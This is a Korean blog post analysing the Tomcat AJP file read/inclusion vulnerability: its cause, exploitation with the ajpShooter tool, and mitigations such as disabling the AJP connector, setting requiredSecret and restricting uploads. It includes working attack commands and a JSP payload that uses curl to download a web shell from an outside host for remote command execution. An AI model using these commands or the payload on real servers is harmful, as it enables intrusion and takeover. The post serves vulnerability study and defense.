Tomcat AJP 프로토콜에서 /webapps/ROOT/ 디렉토리 하위에 있는 파일을 열람 및 실행할 수 있는 취약점이 발견되었으며 해당 취약점을 통해 웹 쉘 업로드 후 원격에서 명령을 실행하는 취약점이다.
1. 취약점 설명
AJP(Acpache Jserv Protocol)
AJP는 Apache와 JAVA EE 서버를 연결하며 WEB서버에서 전송된 요청을 처리하여 WEB 서버에 전달하는 역활이다.
1) site1.mydomian.com / site2.mydomian.com URL에 Request 발생
2) Apache는 발생한 Request를 AJP 프로토콜로 각 WAS 서버로 Request 전달 처리
3) WAS는 전달받은 Request를 처리하여 Apache로 AJP프로토콜을 통해 전달
4) Apache는 WAS서버로 부터 전달받은 Response를 사용자에게 전달
영향받는 Apache 버전
상세내용
Apache Tomcat에서 기본으로 제공되는 AJP 프로토콜은 ~/webapp/ROOT 하위에 있는 파일 읽기가 가능하며 이점을
활용해 /webapp 내 파일 실행이 가능
파일 업로드가 가능한 사이트의 경우 업로드 구간에 웹 쉘을 다운받는 소스가 작성된 TXT 파일을 업로드
업로드한 TXT 파일을 AJP Shooter 툴로 실행하여 웹 쉘 다운로드
다운받은 웹 쉘로 원격명령 실행 등 다양한 공격이 가능한 취약점
위험성
TXT파일로 다운받은 웹쉘 종류에 따라 다르지만 일반적인 웹쉘로 발생할 수 있는 위험성과 동일하다
2. 발생 원인
AJP에서 WAS로 Request가 전송될 때 발생하는 취약점
AJP Request를 처리할 때 WAS에서는 org.apache.coyote.ajp.AjpProcessor.java 로 데이터를 처리한다.
이 때 검증없이 Request를 처리하여 취약점이 발생된다.
3. CVE 분석
취약점 발생 조건
1) 업로드 기능이 구현된 웹 서비스
2) 업로드 경로 확인이 필요함
AJP Shooter POC Python Tool Download
- 아래 Github 링크에 들어가 POC Tool을 다운로드 한다.
- 다운로드 경로에 진입하여 압축을 해재
공격절차
1) AJP Shooter를 활용하여 web.xml 읽기 수행
- read 옵션을 활용하여 해당 서버에 web.xml을 읽어오는 명령
- AJP는 8009 포트를 사용하는 것을 참고
- 구간을 공백으로 구분
python .\ajpShooter.py http://도메인 8009 /WEB-INF/web.xml read
python .\ajpShooter.py http://도메인(공백)8009(공백)/WEB-INF/web.xml(공백)read
Ex) python .\ajpShooter.py http://127.0.0.1 8009 /WEB-INF/web.xml read
2) cmd.jsp를 다운로그하는 JSP파일을 작성한다.
파일명 : ghost.txt
[JSP 소스]
<% Runtime.getRuntime().exec("cmd.exe /C curl -o ..\\webapps\\ROOT\\cmd.jsp https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp"); %>
3) 웹 서비스 업로드 구간에 작성한 ghost.txt 파일을 업로드
4) 업로드 후 ghost.txt 업로드 경로 확인(가정)
- 업로드 경로 예 : C:\apache-tomcat-7.0.59\webapp\ROOT\upload\ghost.txt
5) eval 옵션을 활용하여 업로드 된 ghost.txt 파일 실행
python .\ajpShooter.py http://도메인 포트 파일경로 eval
Ex) python .\ajpShooter.py http://127.0.0.1 8009 /upload/ghost.txt eval
6) ghost.txt 파일을 eval 옵션으로 실행하여 cmd.jsp 파일 다운로드 되었으며 다운로드한 cmd.jsp 파일을 요청하여
시스템 명령 실행 가능
4. 대응방안
AJP 미사용 시(재시작 필요)
1) server.xml 파일 내 주석처리를 통해 AJP 커넥터 비활성화
To
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
Be
<!--
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
-->
AJP 사용 시
2) requiredSecret 속성을 사용하여 허용된 IP에서만 접근이 가능하도록 설정
<Connector protocol="AJP/1.3" port="8009" redirectPort="8443" requiredSecret="1.1.1.1"/>
참고사항으로 IP는 1개만 등록 가능
업로드 관련 조치사항
1) 파일 경로는 노출되지 않도록 소스코드 수정
2) 허용된 확장자만 업로드되도록 소스코드 수정
'취약점 진단 > CVE' 카테고리의 다른 글
[CVE-2021-41773 / CVE-2021-42013] Apache HTTP Server Path Traversal 취약점 (0) | 2023.03.06 |
---|